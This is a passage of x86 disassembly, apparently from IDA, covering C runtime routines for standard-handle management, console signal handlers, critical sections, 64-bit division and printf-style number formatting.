ebx, 2 jz short loc_44C26E jmp short loc_44C27B ; --------------------------------------------------------------------------- loc_44C250: ; CODE XREF: sub_44C20B+37j push 0 push 0FFFFFFF6h call dword_411E10 ; SetStdHandle jmp short loc_44C27B ; --------------------------------------------------------------------------- loc_44C25F: ; CODE XREF: sub_44C20B+3Cj push 0 push 0FFFFFFF5h call dword_411E10 ; SetStdHandle jmp short loc_44C27B ; --------------------------------------------------------------------------- loc_44C26E: ; CODE XREF: sub_44C20B+41j push 0 push 0FFFFFFF4h call dword_411E10 ; SetStdHandle loc_44C27B: ; CODE XREF: sub_44C20B+43j ; sub_44C20B+52j ... mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_41398C[edx*4] mov dword ptr [edx+eax], 0FFFFFFFFh xor eax, eax jmp short loc_44C2A8 ; --------------------------------------------------------------------------- loc_44C29A: ; CODE XREF: sub_44C20B+Bj ; sub_44C20B+2Bj ... call sub_449B9B mov dword ptr [eax], 9 or eax, 0FFFFFFFFh loc_44C2A8: ; CODE XREF: sub_44C20B+8Dj pop ebx retn sub_44C20B endp ; --------------------------------------------------------------------------- db 90h ; =============== S U B R O U T I N E ======================================= sub_44C2AB proc near ; CODE XREF: DMN1:0044C447p ; sub_44D0DB+2B4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, dword_413A8C jnb loc_44C33C mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_41398C[edx*4] cmp dword ptr [edx+eax], 0FFFFFFFFh jnz short loc_44C33C test ebx, ebx jz short loc_44C2E9 cmp ebx, 1 jz short loc_44C2FB cmp ebx, 2 jz short loc_44C30D jmp short loc_44C31D ; --------------------------------------------------------------------------- loc_44C2E9: ; CODE XREF: sub_44C2AB+30j mov eax, [esp+4+arg_4] push eax push 0FFFFFFF6h call dword_411E10 ; SetStdHandle jmp short loc_44C31D ; --------------------------------------------------------------------------- loc_44C2FB: ; CODE XREF: sub_44C2AB+35j mov eax, [esp+4+arg_4] push eax push 0FFFFFFF5h call dword_411E10 ; SetStdHandle jmp short loc_44C31D ; --------------------------------------------------------------------------- loc_44C30D: ; CODE XREF: sub_44C2AB+3Aj mov eax, [esp+4+arg_4] push eax push 0FFFFFFF4h call dword_411E10 ; SetStdHandle loc_44C31D: ; CODE XREF: sub_44C2AB+3Cj ; sub_44C2AB+4Ej ... mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_41398C[edx*4] mov ecx, [esp+4+arg_4] mov [edx+eax], ecx xor eax, eax jmp short loc_44C34A ; --------------------------------------------------------------------------- loc_44C33C: ; CODE XREF: sub_44C2AB+Bj ; sub_44C2AB+2Cj call sub_449B9B mov dword ptr [eax], 9 or eax, 0FFFFFFFFh loc_44C34A: ; CODE XREF: sub_44C2AB+8Fj pop ebx retn sub_44C2AB endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) ; =============== S U B R O U T I N E ======================================= sub_44C35B proc near ; CODE XREF: sub_44A57B+Cp ; sub_44A57B+25p ... arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] cmp ebx, dword_413A8C jnb short loc_44C39C mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_41398C[edx*4] test byte ptr [edx+eax+4], 1 jz short loc_44C39C mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_41398C[edx*4] mov eax, [edx+eax] jmp short loc_44C3AA ; --------------------------------------------------------------------------- loc_44C39C: ; CODE XREF: sub_44C35B+Bj ; sub_44C35B+26j call sub_449B9B mov dword ptr [eax], 9 or eax, 0FFFFFFFFh loc_44C3AA: ; CODE XREF: sub_44C35B+3Fj pop ebx retn sub_44C35B endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) ; --------------------------------------------------------------------------- mov eax, [esp+4] push eax call sub_44C35B pop ecx retn ; --------------------------------------------------------------------------- db 8Dh, 7Ch, 27h, 0 ; --------------------------------------------------------------------------- push ebx push esi push edi xor bl, bl test byte ptr [esp+14h], 8 jz short loc_44C3DA or bl, 20h loc_44C3DA: ; CODE XREF: DMN1:0044C3D5j test word ptr [esp+14h], 4000h jz short loc_44C3E6 or bl, 80h loc_44C3E6: ; CODE XREF: DMN1:0044C3E1j test byte ptr [esp+14h], 80h jz short loc_44C3F0 or bl, 10h loc_44C3F0: ; CODE XREF: DMN1:0044C3EBj mov eax, [esp+10h] push eax call dword_411DF0 ; GetFileType mov edi, eax test edi, edi jnz short loc_44C413 call dword_411CEC ; RtlGetLastWin32Error push eax call sub_449A3B pop ecx or eax, 0FFFFFFFFh jmp short loc_44C46C ; --------------------------------------------------------------------------- loc_44C413: ; CODE XREF: DMN1:0044C3FFj cmp edi, 2 jnz short loc_44C41D or bl, 40h jmp short loc_44C425 ; --------------------------------------------------------------------------- loc_44C41D: ; CODE XREF: DMN1:0044C416j cmp edi, 3 jnz short loc_44C425 or bl, 8 loc_44C425: ; CODE XREF: DMN1:0044C41Bj ; DMN1:0044C420j call sub_44C0CB mov esi, eax cmp eax, 0FFFFFFFFh jnz short loc_44C441 call sub_449B9B mov dword ptr [eax], 18h or eax, 0FFFFFFFFh jmp short loc_44C46C ; --------------------------------------------------------------------------- loc_44C441: ; CODE XREF: DMN1:0044C42Fj mov eax, [esp+10h] push eax push esi call sub_44C2AB add esp, 8 or bl, 1 mov eax, esi and eax, 1Fh imul eax, 24h mov edx, esi sar edx, 5 mov edx, dword_41398C[edx*4] mov [edx+eax+4], bl mov eax, esi loc_44C46C: ; CODE XREF: DMN1:0044C411j ; DMN1:0044C43Fj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 8Dh, 7Ch, 27h, 0 db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44C47B proc near ; CODE XREF: sub_44A61B+3Ap ; sub_44C05B+3Cp ... arg_0 = dword ptr 4 push ebx push esi mov ebx, [esp+8+arg_0] mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_41398C[edx*4] lea esi, [edx+eax] cmp dword ptr [esi+8], 0 jnz short loc_44C4C1 push 3 call sub_449F3B pop ecx cmp dword ptr [esi+8], 0 jnz short loc_44C4B9 lea eax, [esi+0Ch] push eax call dword_411CCC ; InitializeCriticalSection inc dword ptr [esi+8] loc_44C4B9: ; CODE XREF: sub_44C47B+2Fj push 3 call sub_449FBB pop ecx loc_44C4C1: ; CODE XREF: sub_44C47B+21j lea eax, [esi+0Ch] push eax call dword_411CD0 ; RtlEnterCriticalSection pop esi pop ebx retn sub_44C47B endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44C4DB proc near ; CODE XREF: sub_44A61B+4Ap ; sub_44C05B+56p ... arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_41398C[edx*4] lea eax, [edx+eax+0Ch] push eax call dword_411CD4 ; RtlLeaveCriticalSection pop ebx retn sub_44C4DB endp ; --------------------------------------------------------------------------- db 8Dh, 7Fh, 0 db 8Dh, 0BCh, 27h, 4 dup(0) ; --------------------------------------------------------------------------- push ebx push 1 push 2 call sub_44C54B add esp, 8 mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_44C526 test ebx, ebx jnz short loc_44C52A loc_44C526: ; CODE XREF: DMN1:0044C520j xor eax, eax jmp short loc_44C545 ; --------------------------------------------------------------------------- loc_44C52A: ; CODE XREF: DMN1:0044C524j cmp ebx, 1 jz short loc_44C540 push 0 push 2 call sub_44C54B add esp, 8 push 2 call ebx pop ecx loc_44C540: ; CODE XREF: DMN1:0044C52Dj mov eax, 1 loc_44C545: ; CODE XREF: DMN1:0044C528j pop ebx retn 4 ; --------------------------------------------------------------------------- db 89h, 0FFh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44C54B proc near ; CODE XREF: sub_44A99B+18p ; sub_44A99B+3Bp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov ebx, [ebp+arg_0] test ebx, ebx jle short loc_44C569 cmp ebx, 2Ch jge short loc_44C569 cmp [ebp+arg_4], 0FFFFFFFFh jnz short loc_44C571 loc_44C569: ; CODE XREF: sub_44C54B+Ej ; sub_44C54B+13j or eax, 0FFFFFFFFh jmp loc_44C621 ; --------------------------------------------------------------------------- loc_44C571: ; CODE XREF: sub_44C54B+1Cj cmp ebx, 4 jz short loc_44C580 cmp ebx, 8 jz short loc_44C580 cmp ebx, 0Bh jnz short loc_44C5DF loc_44C580: ; CODE XREF: sub_44C54B+29j ; sub_44C54B+2Ej call sub_44A88B mov [ebp+var_8], eax mov eax, [eax+34h] cmp eax, offset dword_4117E8 jnz short loc_44C5C0 push 0B0h call sub_44999B pop ecx mov edx, [ebp+var_8] mov [edx+34h], eax test eax, eax jz short loc_44C5BB mov eax, [ebp+var_8] mov edi, [eax+34h] mov esi, offset dword_4117E8 mov ecx, 2Ch rep movsd jmp short loc_44C5C0 ; --------------------------------------------------------------------------- loc_44C5BB: ; CODE XREF: sub_44C54B+5Aj or eax, 0FFFFFFFFh jmp short loc_44C621 ; --------------------------------------------------------------------------- loc_44C5C0: ; CODE XREF: sub_44C54B+45j ; sub_44C54B+6Ej mov eax, ebx shl eax, 2 mov edx, [ebp+var_8] mov ecx, [edx+34h] mov ecx, [ecx+eax] mov [ebp+var_4], ecx mov edx, [edx+34h] mov ecx, [ebp+arg_4] mov [edx+eax], ecx mov eax, [ebp+var_4] jmp short loc_44C621 ; --------------------------------------------------------------------------- loc_44C5DF: ; CODE XREF: sub_44C54B+33j cmp ebx, 2 jnz short loc_44C60D cmp dword_4118A0, 0 jnz short loc_44C60D push 1 push offset sub_40B0A0 call dword_411E14 ; SetConsoleCtrlHandler test eax, eax jnz short loc_44C603 or eax, 0FFFFFFFFh jmp short loc_44C621 ; --------------------------------------------------------------------------- loc_44C603: ; CODE XREF: sub_44C54B+B1j mov dword_4118A0, 1 loc_44C60D: ; CODE XREF: sub_44C54B+97j ; sub_44C54B+A0j lea eax, ds:4117E8h[ebx*4] mov edx, [eax] mov [ebp+var_4], edx mov edx, [ebp+arg_4] mov [eax], edx mov eax, [ebp+var_4] loc_44C621: ; CODE XREF: sub_44C54B+21j ; sub_44C54B+73j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44C54B endp ; --------------------------------------------------------------------------- db 8Dh, 7Fh, 0 ; =============== S U B R O U T I N E ======================================= sub_44C62B proc near ; CODE XREF: DMN1:004492C6p arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_44C62B endp ; --------------------------------------------------------------------------- db 8Dh, 7Ch, 27h, 0 db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44C63B proc near ; CODE XREF: DMN1:0044AA87p ; sub_44C7FB+F3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_4] or eax, eax jnz short loc_44C65D mov ecx, [esp+8+arg_0] mov eax, [esp+8+arg_C] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_8] div ecx mov edx, ebx jmp short loc_44C69E ; --------------------------------------------------------------------------- loc_44C65D: ; CODE XREF: sub_44C63B+8j mov ecx, eax mov ebx, [esp+8+arg_0] mov edx, [esp+8+arg_C] mov eax, [esp+8+arg_8] loc_44C66B: ; CODE XREF: sub_44C63B+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_44C66B div ebx mov esi, eax mul [esp+8+arg_4] mov ecx, eax mov eax, [esp+8+arg_0] mul esi add edx, ecx jb short loc_44C699 cmp edx, [esp+8+arg_C] ja short loc_44C699 jb short loc_44C69A cmp eax, [esp+8+arg_8] jbe short loc_44C69A loc_44C699: ; CODE XREF: sub_44C63B+4Ej ; sub_44C63B+54j dec esi loc_44C69A: ; CODE XREF: sub_44C63B+56j ; sub_44C63B+5Cj xor edx, edx mov eax, esi loc_44C69E: ; CODE XREF: sub_44C63B+20j pop esi pop ebx retn 10h sub_44C63B endp ; --------------------------------------------------------------------------- db 90h db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44C6AB proc near ; CODE XREF: sub_44B42B+B3p ; sub_44B42B+6E1p var_64 = dword ptr -64h var_60 = byte ptr -60h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 64h push ebx push esi push edi mov ebx, [ebp+arg_0] mov esi, [ebp+arg_4] cmp dword ptr [ebx+2Ch], 0 jge short loc_44C6C9 mov [ebp+var_64], 7FFFFFFFh jmp short loc_44C6CF ; --------------------------------------------------------------------------- loc_44C6C9: ; CODE XREF: sub_44C6AB+13j mov eax, [ebx+2Ch] mov [ebp+var_64], eax loc_44C6CF: ; CODE XREF: sub_44C6AB+1Cj mov eax, [ebp+var_64] mov [ebp+var_4], eax movzx eax, byte_4118A4 mov edx, [ebx+34h] add eax, edx mov [ebp+var_14], eax mov [ebp+var_1C], 0 mov [ebp+var_18], 0 test word ptr [ebx+38h], 4 jnz short loc_44C700 cmp [ebp+var_14], 40h ja short loc_44C70F loc_44C700: ; CODE XREF: sub_44C6AB+4Dj lea eax, [ebp+var_60] mov [ebp+var_10], eax mov [ebp+var_14], 40h jmp short loc_44C728 ; --------------------------------------------------------------------------- loc_44C70F: ; CODE XREF: sub_44C6AB+53j mov eax, [ebp+var_14] push eax call sub_44999B pop ecx mov [ebp+var_10], eax test eax, eax jnz short loc_44C728 or eax, 0FFFFFFFFh jmp loc_44C7F0 ; --------------------------------------------------------------------------- loc_44C728: ; CODE XREF: sub_44C6AB+62j ; sub_44C6AB+73j test esi, esi jnz short loc_44C731 mov esi, offset aNull ; "(null)" loc_44C731: ; CODE XREF: sub_44C6AB+7Fj mov [ebp+var_20], 0 jmp short loc_44C7B6 ; --------------------------------------------------------------------------- loc_44C73A: ; CODE XREF: sub_44C6AB+10Fj lea eax, [ebp+var_1C] push eax movzx eax, word ptr [esi] push eax lea eax, [ebp+var_C] push eax call sub_44D6DB add esp, 0Ch mov edi, eax test eax, eax jl short loc_44C761 cmp word ptr [esi], 0 jnz short loc_44C767 dec edi mov eax, edi test eax, eax jge short loc_44C767 loc_44C761: ; CODE XREF: sub_44C6AB+A7j or [ebp+var_20], 0FFFFFFFFh jmp short loc_44C7C0 ; --------------------------------------------------------------------------- loc_44C767: ; CODE XREF: sub_44C6AB+ADj ; sub_44C6AB+B4j cmp [ebp+var_4], edi jl short loc_44C7C0 mov eax, [ebx+14h] add eax, edi cmp [ebp+var_14], eax jnb short loc_44C791 mov dword ptr [ebx+34h], 0 mov eax, [ebp+var_10] push eax push ebx call sub_44BB6B add esp, 8 mov dword ptr [ebx+14h], 0 loc_44C791: ; CODE XREF: sub_44C6AB+C9j push edi lea eax, [ebp+var_C] push eax mov eax, [ebx+14h] mov edx, [ebp+var_10] add eax, edx push eax call sub_448E2B add esp, 0Ch add [ebx+14h], edi cmp word ptr [esi], 0 jz short loc_44C7C0 add esi, 2 sub [ebp+var_4], edi loc_44C7B6: ; CODE XREF: sub_44C6AB+8Dj cmp [ebp+var_4], 0 jg loc_44C73A loc_44C7C0: ; CODE XREF: sub_44C6AB+BAj ; sub_44C6AB+BFj ... mov eax, [ebp+var_10] push eax push ebx call sub_44BB6B add esp, 8 mov dword ptr [ebx+34h], 0 mov dword ptr [ebx+14h], 0 lea eax, [ebp+var_60] cmp eax, [ebp+var_10] jz short loc_44C7ED mov eax, [ebp+var_10] push eax call sub_4488EB pop ecx loc_44C7ED: ; CODE XREF: sub_44C6AB+136j mov eax, [ebp+var_20] loc_44C7F0: ; CODE XREF: sub_44C6AB+78j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44C6AB endp ; --------------------------------------------------------------------------- db 8Dh, 7Ch, 27h, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44C7FB proc near ; CODE XREF: sub_44B42B+256p ; sub_44B42B+3CAp ... var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = byte ptr -20h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 4Ch push ebx push esi push edi cmp [ebp+arg_4], 58h jnz short loc_44C813 mov [ebp+var_34], offset a0123456789abcd ; "0123456789ABCDEF" jmp short loc_44C81A ; --------------------------------------------------------------------------- loc_44C813: ; CODE XREF: sub_44C7FB+Dj mov [ebp+var_34], offset a0123456789ab_0 ; "0123456789abcdef" loc_44C81A: ; CODE XREF: sub_44C7FB+16j mov eax, [ebp+var_34] mov [ebp+var_24], eax cmp [ebp+arg_4], 6Fh jnz short loc_44C82F mov [ebp+var_38], 8 jmp short loc_44C84A ; --------------------------------------------------------------------------- loc_44C82F: ; CODE XREF: sub_44C7FB+29j mov al, [ebp+arg_4] cmp al, 78h jz short loc_44C843 cmp al, 58h jz short loc_44C843 mov [ebp+var_38], 0Ah jmp short loc_44C84A ; --------------------------------------------------------------------------- loc_44C843: ; CODE XREF: sub_44C7FB+39j ; sub_44C7FB+3Dj mov [ebp+var_38], 10h loc_44C84A: ; CODE XREF: sub_44C7FB+32j ; sub_44C7FB+46j mov eax, [ebp+var_38] mov [ebp+var_8], eax mov [ebp+var_4], 18h mov eax, [ebp+arg_0] mov edx, [eax+4] mov eax, [eax] mov [ebp+var_30], eax mov [ebp+var_2C], edx mov al, [ebp+arg_4] cmp al, 64h jz short loc_44C870 cmp al, 69h jnz short loc_44C895 loc_44C870: ; CODE XREF: sub_44C7FB+6Fj mov eax, [ebp+arg_0] mov edx, [eax+4] mov eax, [eax] test edx, edx jg short loc_44C895 jl short loc_44C882 test eax, eax jnb short loc_44C895 loc_44C882: ; CODE XREF: sub_44C7FB+81j mov eax, [ebp+var_30] mov edx, [ebp+var_2C] neg eax adc edx, 0 neg edx mov [ebp+var_30], eax mov [ebp+var_2C], edx loc_44C895: ; CODE XREF: sub_44C7FB+73j ; sub_44C7FB+7Fj ... mov eax, [ebp+var_30] mov edx, [ebp+var_2C] test edx, edx jnz short loc_44C8AC test eax, eax jnz short loc_44C8AC mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jz short loc_44C8DC loc_44C8AC: ; CODE XREF: sub_44C7FB+A2j ; sub_44C7FB+A6j mov eax, [ebp+var_4] dec eax mov [ebp+var_3C], eax mov [ebp+var_4], eax mov ecx, [ebp+var_30] mov ebx, [ebp+var_2C] mov edx, [ebp+var_8] mov esi, edx mov edi, esi sar edi, 1Fh push ebx push ecx push edi push esi call sub_44D92B mov edx, [ebp+var_24] mov al, [edx+eax] mov edx, [ebp+var_3C] mov [ebp+edx+var_20], al loc_44C8DC: ; CODE XREF: sub_44C7FB+AFj mov eax, [ebp+var_30] mov edx, [ebp+var_2C] mov ecx, [ebp+var_8] mov ebx, ecx sar ebx, 1Fh push edx push eax push ebx push ecx call sub_44C63B mov ecx, [ebp+arg_0] mov [ecx], eax mov [ecx+4], edx jmp short loc_44C96D ; --------------------------------------------------------------------------- loc_44C8FD: ; CODE XREF: sub_44C7FB+188j mov eax, [ebp+arg_0] mov edx, [eax+4] mov eax, [eax] mov ecx, [ebp+var_8] mov ebx, ecx sar ebx, 1Fh push edx push eax push ebx push ecx call sub_44D9AB mov [ebp+var_48], eax mov [ebp+var_44], edx mov eax, [ebp+var_4] dec eax mov [ebp+var_4C], eax mov [ebp+var_4], eax mov edx, [ebp+var_8] mov ecx, edx mov ebx, ecx sar ebx, 1Fh mov esi, [ebp+var_48] mov edi, [ebp+var_44] push ebx push ecx push edi push esi call sub_44DA5B neg eax adc edx, 0 neg edx mov ecx, [ebp+arg_0] mov ebx, [ecx+4] mov ecx, [ecx] add eax, ecx adc edx, ebx mov edx, [ebp+var_24] mov al, [edx+eax] mov edx, [ebp+var_4C] mov [ebp+edx+var_20], al mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] mov ebx, [ebp+var_44] mov [eax], ecx mov [eax+4], ebx loc_44C96D: ; CODE XREF: sub_44C7FB+100j mov eax, [ebp+arg_0] mov edx, [eax+4] mov eax, [eax] test edx, edx jl short loc_44C989 jg short loc_44C97F test eax, eax jbe short loc_44C989 loc_44C97F: ; CODE XREF: sub_44C7FB+17Ej cmp [ebp+var_4], 0 jg loc_44C8FD loc_44C989: ; CODE XREF: sub_44C7FB+17Cj ; sub_44C7FB+182j cmp [ebp+var_8], 8 jnz short loc_44C9B5 mov eax, [ebp+arg_0] test word ptr [eax+38h], 8 jz short loc_44C9B5 mov eax, [ebp+var_4] cmp eax, 18h jnb short loc_44C9B5 cmp [ebp+eax+var_20], 30h jz short loc_44C9B5 mov eax, [ebp+var_4] dec eax mov [ebp+var_4], eax mov [ebp+eax+var_20], 30h loc_44C9B5: ; CODE XREF: sub_44C7FB+192j ; sub_44C7FB+19Dj ... mov edx, [ebp+arg_0] mov eax, 18h mov ecx, [ebp+var_4] sub eax, ecx mov [edx+1Ch], eax mov eax, [ebp+arg_0] mov edx, [eax+1Ch] push edx mov edx, [ebp+var_4] lea edx, [ebp+edx+var_20] push edx mov eax, [eax+10h] push eax call sub_448E2B add esp, 0Ch mov eax, [ebp+arg_0] mov edx, [eax+2Ch] cmp [eax+1Ch], edx jge short loc_44CA01 mov eax, [ebp+arg_0] mov edx, [eax+2Ch] sub edx, [eax+1Ch] mov [eax+18h], edx mov eax, [ebp+arg_0] and word ptr [eax+38h], 0FFEFh jmp short loc_44CA32 ; --------------------------------------------------------------------------- loc_44CA01: ; CODE XREF: sub_44C7FB+1EEj mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jge short loc_44CA32 movzx edx, word ptr [eax+38h] and edx, 14h cmp edx, 10h jnz short loc_44CA32 mov edx, [eax+34h] sub edx, [eax+14h] sub edx, [eax+18h] sub edx, [eax+1Ch] mov [ebp+var_4], edx test edx, edx jle short loc_44CA32 mov edx, [ebp+arg_0] mov eax, [ebp+var_4] mov [edx+18h], eax loc_44CA32: ; CODE XREF: sub_44C7FB+204j ; sub_44C7FB+20Dj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44C7FB endp ; --------------------------------------------------------------------------- db 89h, 0FFh ; =============== S U B R O U T I N E ======================================= sub_44CA3B proc near ; CODE XREF: sub_44B42B+40Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_44DA9B pop ecx movsx eax, ax retn sub_44CA3B endp ; --------------------------------------------------------------------------- db 90h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44CA4B proc near ; CODE XREF: sub_44B42B+48Cp var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = qword ptr -58h var_50 = qword ptr -50h var_48 = dword ptr -48h var_44 = dword ptr -44h var_3E = byte ptr -3Eh var_3D = byte ptr -3Dh var_16 = word ptr -16h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = qword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 64h lea eax, [ebp+var_3E] mov [ebp+var_4], eax mov eax, [ebp+arg_0] fld qword ptr [eax] fstp [ebp+var_10] mov al, [ebp+arg_4] cmp al, 61h jz short loc_44CA6A cmp al, 41h jnz short loc_44CA6C loc_44CA6A: ; CODE XREF: sub_44CA4B+19j jmp short loc_44CA9F ; --------------------------------------------------------------------------- loc_44CA6C: ; CODE XREF: sub_44CA4B+1Dj mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jge short loc_44CA81 mov edx, [ebp+arg_0] mov dword ptr [edx+2Ch], 6 jmp short loc_44CA9F ; --------------------------------------------------------------------------- loc_44CA81: ; CODE XREF: sub_44CA4B+28j mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jnz short loc_44CA9F mov al, [ebp+arg_4] cmp al, 67h jz short loc_44CA95 cmp al, 47h jnz short loc_44CA9F loc_44CA95: ; CODE XREF: sub_44CA4B+44j mov edx, [ebp+arg_0] mov dword ptr [edx+2Ch], 1 loc_44CA9F: ; CODE XREF: sub_44CA4B:loc_44CA6Aj ; sub_44CA4B+34j ... mov eax, [ebp+arg_0] push eax lea eax, [ebp+var_14] push eax call sub_44DB0B add esp, 8 mov [ebp+var_16], ax cmp ax, 2 jnz short loc_44CB04 mov edx, [ebp+arg_0] mov dword ptr [edx+1Ch], 3 mov eax, 3 push eax mov al, [ebp+arg_4] cmp al, 61h jz short loc_44CADC cmp al, 65h jz short loc_44CADC cmp al, 66h jz short loc_44CADC cmp al, 67h jnz short loc_44CAE5 loc_44CADC: ; CODE XREF: sub_44CA4B+83j ; sub_44CA4B+87j ... mov [ebp+var_44], 41010Ah jmp short loc_44CAEC ; --------------------------------------------------------------------------- loc_44CAE5: ; CODE XREF: sub_44CA4B+8Fj mov [ebp+var_44], offset word_410106 loc_44CAEC: ; CODE XREF: sub_44CA4B+98j mov eax, [ebp+var_44] push eax mov eax, [ebp+arg_0] mov eax, [eax+10h] push eax call sub_448E2B add esp, 0Ch jmp loc_44D09F ; --------------------------------------------------------------------------- loc_44CB04: ; CODE XREF: sub_44CA4B+6Cj cmp [ebp+var_16], 0 jle short loc_44CB56 mov edx, [ebp+arg_0] mov dword ptr [edx+1Ch], 3 mov eax, 3 push eax mov al, [ebp+arg_4] cmp al, 61h jz short loc_44CB2E cmp al, 65h jz short loc_44CB2E cmp al, 66h jz short loc_44CB2E cmp al, 67h jnz short loc_44CB37 loc_44CB2E: ; CODE XREF: sub_44CA4B+D5j ; sub_44CA4B+D9j ... mov [ebp+var_44], offset word_410102 jmp short loc_44CB3E ; --------------------------------------------------------------------------- loc_44CB37: ; CODE XREF: sub_44CA4B+E1j mov [ebp+var_44], offset off_4100FE loc_44CB3E: ; CODE XREF: sub_44CA4B+EAj mov eax, [ebp+var_44] push eax mov eax, [ebp+arg_0] mov eax, [eax+10h] push eax call sub_448E2B add esp, 0Ch jmp loc_44D09F ; --------------------------------------------------------------------------- loc_44CB56: ; CODE XREF: sub_44CA4B+BEj mov al, [ebp+arg_4] cmp al, 61h jz short loc_44CB61 cmp al, 41h jnz short loc_44CB99 loc_44CB61: ; CODE XREF: sub_44CA4B+110j mov eax, [ebp+arg_0] mov edx, [eax+10h] add eax, 10h lea ecx, [edx+1] mov [eax], ecx mov byte ptr [edx], 30h mov eax, [ebp+arg_0] mov edx, [eax+10h] add eax, 10h lea ecx, [edx+1] mov [eax], ecx xor eax, eax cmp [ebp+arg_4], 61h setnz al dec eax and eax, 20h add eax, 58h mov [edx], al mov eax, [ebp+arg_0] add dword ptr [eax+14h], 2 loc_44CB99: ; CODE XREF: sub_44CA4B+114j cmp [ebp+var_16], 0 jnz short loc_44CBB1 mov [ebp+var_12], 0 mov [ebp+var_14], 0 jmp loc_44D080 ; --------------------------------------------------------------------------- loc_44CBB1: ; CODE XREF: sub_44CA4B+153j mov al, [ebp+arg_4] cmp al, 61h jz short loc_44CBC0 cmp al, 41h jnz loc_44CDC6 loc_44CBC0: ; CODE XREF: sub_44CA4B+16Bj cmp [ebp+arg_4], 61h jnz short loc_44CBCF mov dword ptr [ebp+var_50+4], offset a0123456789ab_1 ; "0123456789abcdef" jmp short loc_44CBD6 ; --------------------------------------------------------------------------- loc_44CBCF: ; CODE XREF: sub_44CA4B+179j mov dword ptr [ebp+var_50+4], offset a0123456789ab_2 ; "0123456789ABCDEF" loc_44CBD6: ; CODE XREF: sub_44CA4B+182j mov eax, dword ptr [ebp+var_50+4] mov [ebp+var_48], eax mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jge short loc_44CBEE mov dword ptr [ebp+var_50], 21h jmp short loc_44CBF8 ; --------------------------------------------------------------------------- loc_44CBEE: ; CODE XREF: sub_44CA4B+198j mov eax, [ebp+arg_0] mov eax, [eax+2Ch] inc eax mov dword ptr [ebp+var_50], eax loc_44CBF8: ; CODE XREF: sub_44CA4B+1A1j mov eax, dword ptr [ebp+var_50] mov [ebp+var_12], ax movsx eax, [ebp+var_12] inc eax mov [ebp+var_44], eax fld dbl_4100D4 fcomp [ebp+var_10] fnstsw ax sahf jbe short loc_44CC21 mov eax, [ebp+arg_0] fld qword ptr [eax] fchs fstp [ebp+var_58] jmp short loc_44CC29 ; --------------------------------------------------------------------------- loc_44CC21: ; CODE XREF: sub_44CA4B+1C8j mov eax, [ebp+arg_0] fld qword ptr [eax] fstp [ebp+var_58] loc_44CC29: ; CODE XREF: sub_44CA4B+1D4j fld [ebp+var_58] fstp [ebp+var_10] sub [ebp+var_14], 4 mov eax, [ebp+var_4] lea edx, [eax+1] mov [ebp+var_4], edx mov byte ptr [eax], 0 jmp loc_44CCCC ; --------------------------------------------------------------------------- loc_44CC45: ; CODE XREF: sub_44CA4B+293j push 1Ch lea eax, 